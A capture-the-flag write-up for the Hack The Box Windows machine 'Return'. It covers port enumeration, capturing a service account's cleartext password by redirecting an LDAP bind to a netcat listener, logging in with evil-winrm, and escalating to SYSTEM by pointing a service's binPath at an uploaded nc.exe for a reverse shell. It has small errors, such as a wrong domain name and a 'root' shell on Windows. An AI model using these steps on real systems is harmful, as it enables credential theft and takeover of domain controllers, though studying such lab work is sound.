Return - HTB Writeup
Machine Info
Return is an easy-rated Windows Active Directory machine. It involves dumping the svc-printer password from an LDAP bind request. For privilege escalation, the svc-printer user was a member of the Server Operator group, which can start and stop any service on the box. We will abuse this capability to obtain a shell as root.
User
Scanning through Nmap
First of all we will go with nmap to scan the whole network and check for services running on the network. To scan the whole network and find all the open ports i use -p- used to scan the whole 65535 ports with –min-rate 10000 to scan network faster from nmap and i found a list of open ports on the network and get only the open ports using different terminal tools like cut, tr etc.
1
2
$ nmap -p- --min-rate 10000 10.129.95.241 -oN ini.txt && cat ini.txt | cut -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49673,49674,49675,49676,49680,49697
Now Let’s run the depth scan on these specific ports using:
1
$ nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49673,49674,49675,49676,49680,49697-sC -sV -A -T4 10.129.95.241 -oN scan.txt
- -sC is to run all the default scripts
- -sV for service and version detection
- -A to check all default things
- -T4 for aggressive scan
- -oN to write the result into a specified file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-14 15:44:43Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-04-14T15:45:45
|_ start_date: N/A
|_clock-skew: 18m32s
Information Gathering
Through Nmap we found port 53 DNS is open which can be used to perform zone transfer, 88 kerberose is open which can be used to for enumeration purpose here, 139 & 445 SMB ports are open and can be used to enumerate shares with anonymous user for initial access, 389 ldap port is open, 80 HTTP web server is also running, 5985 winrm port is opened which can be used to login into machine if somehow we managed to obtain a valid credentials. Nmap discover Doamin name by using ldap scripts which is htb.local. Let’s add this to our local DNS file called /etc/hots
so that our computer can resolve this domain.
1
$ echo "10.129.95.241 return.local" | sudo tee -a /etc/hosts
Port 53 DNS
Let’s start with the port 53 DNS and try to perform zone using dig (dig stands for Domain Information Grabber. It is used for retrieving information about DNS name servers. It is used for verifying and troubleshooting DNS problems and to perform DNS lookups). The complete command will be dig axfr @10.129.95.241 return.local
. Here axfr is a protocol(AXFR is a protocol for “zone transfers” for replication of DNS data across multiple DNS servers. Unlike normal DNS queries that require the user to know some DNS information ahead of time, AXFR queries reveal resource records including subdomain names). But we couldn’t able to fetch any useful information.
1
2
3
4
5
6
$ dig axfr @10.129.95.241 return.local
; <<>> DiG 9.19.21-1-Debian <<>> axfr @10.129.95.241 return.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
Port 88 Kerberose
Let’s move towards our Enumeration next part which is port 88 kerberose. We can use it to enumerate user’s because we don’t have any valid credentials yet. To enumerate user in Domain, we will use tool called kerbrute(A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication) . it can also be used to perform password spraying on domain if somehow we managed to find a valid password. Kerbrute provide us many functions including
1
2
3
4
5
6
7
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
We will be using that userenum function. The command we will use will be
1
$ kerbrute userenum -d return.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.129.95.241
- -d is for domain name
- –dc for domain controller.
We found two valid user’s on the domain, administrator and printer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ kerbrute userenum -d return.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.129.95.241
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 04/15/24 - Ronnie Flathers @ropnop
2024/04/15 14:58:03 > Using KDC(s):
2024/04/15 14:58:03 > 10.129.95.241:88
2024/04/15 15:01:34 > [+] VALID USERNAME: administrator@return.local
2024/04/15 15:03:34 > [+] VALID USERNAME: printer@return.local
Port 389 Ldap
Using ldapsearch we can enumerate user’s in domain, domain naming context etc. Let’s First discover naming context of domain. The command will be
1
$ ldapsearch -x -H ldap://10.129.95.241 -s base namingcontexts
- -x for simple authentication,
- -H for host,
- -s to set scope to base
- namingcontext for getting naming context of domain
1
2
3
4
5
6
7
8
$ ldapsearch -x -H ldap://10.129.95.241 -s base namingcontexts
#
dn:
namingcontexts: DC=return,DC=local
namingcontexts: CN=Configuration,DC=return,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=return,DC=local
namingcontexts: DC=DomainDnsZones,DC=return,DC=local
namingcontexts: DC=ForestDnsZones,DC=return,DC=local
Because we don’t have valid ldap credentials, so we can’t make successful session with ldap and can’t enumerate user’s and also null session is blocked
1
2
3
4
5
6
$ ldapsearch -x -b "dc=return,dc=local" "*" -H ldap://10.129.95.241
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A37, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
Port 139 & 445 SMB
We also have SMB ports open, let’s try to list out smb shares if are available publicly using smbclient(The smbclient lets you send messages to workstations, display browse lists and connect to SMB shares). The command will be smbclient -N -L \\10.129.95.241
- -L for list our shares.
- -N for null session But there is no share available for us.
1
2
3
4
5
6
$ smbclient -N -L \\10.129.95.241
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
Port 80 HTTP
Port 80 was also open on the network, which meas their is a some kind of web server is running on it. There is a HTB Printer Admin Panel is running on port 80 with only one button enabled called settings on navbar which is redirecting us to settings.php endpoint which also indicate that there is a PHP running at the backend of the website.
On Settings.php endpoint there is some kind of ldap connection setting is running. There we found a user name. Password of the user was all asterisks which i thought at very first that the input type is password that’s why we are seeing this but when i inspect that input filed, the type of the passowrd field is itself text. and all this is trying to connect with printer.return.local on port 389.
When i intercept the request thorough burp proxy, only the IP filed was going in the request all the other username, port and password fields was not there.
So i run a netcat listener on my machine and change the IP address with my attacker machine IP address on port 389 so that the request got captured on my listener. In response i got username and it’s clear text password which was used for authentication in the bind request.
1
svc-printer : 1edFg43012!!
Shell as svc-printer
As we discovered through Nmap that the WinRM port 5985 is open, we can use a tool called Evil-WinRM to log in to the svc-printer account.
1
2
$ evil-winrm -i 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
Our user flag is present on Desktop folder.
Privilege Escalation
Firstly, Let’s check what group of member svc-printer user is.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 1:15:13 AM
Password expires Never
Password changeable 5/27/2021 1:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/26/2021 1:39:29 AM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
So we are member of Server Operator, Remote Management, Print Operators group members.
Server Operators
According to Microsoft official documentation here
1
2
3
4
5
6
7
8
Members of the Server Operators group can administer domain controllers. This group exists only on domain controllers. By default, the group has no members. Members of the Server Operators group can take the following actions:
- sign in to a server interactively,
- create and delete network shared resources,
- start and stop services,
- back up and restore files,
- format the hard disk drive of the computer,
- shut down the computer.
This group can't be renamed, deleted, or removed.
So, we can start and stop services on the box. services command is a built in feature of evil-winrm that list down the running services on the box.
We have a list of services running on the box, we can start and stop any of the one because we are in Server Operator group. For service management, we can use both sc (Service Control) or PsService.exe from windows PS toolkit. In This box we will be using sc.exe with config flag to change the binPath
Because whenever the any service loads in windows, it loads from it’s binPAth. What if we change the binPath to our malicious file and execute that file on the behalf of valid service.
Exploitation
Let’s upload nc.exe file on box using evil-winrm built-in feature called upload
1
$ *Evil-WinRM* PS C:\Users\svc-printer\Desktop> upload /home/kali/Desktop/htb/return/nc.exe
Now change the binPath of any of the services which is running with privileges on the box with our malicious nc.exe file. I chose service called VMTools for exploitation. Let’s reconfigure it’s path to our malicious file so that whenever next time this service try to load it’s exe file it load our malicious exe file. Let’s make this in practical. Use config to change the binPath, stop to stop the service, query to check the status of service if it is still being running at the background and the final qc to check if the binPath is updated with our malicious file path.
All things are set Let’s run a reverse listener using nc to get shell back using:
$ nc -lvnp 9001
After running the listener, start the VMTools service again, you will notice you got a shell as nt authority\system
on you listener within a second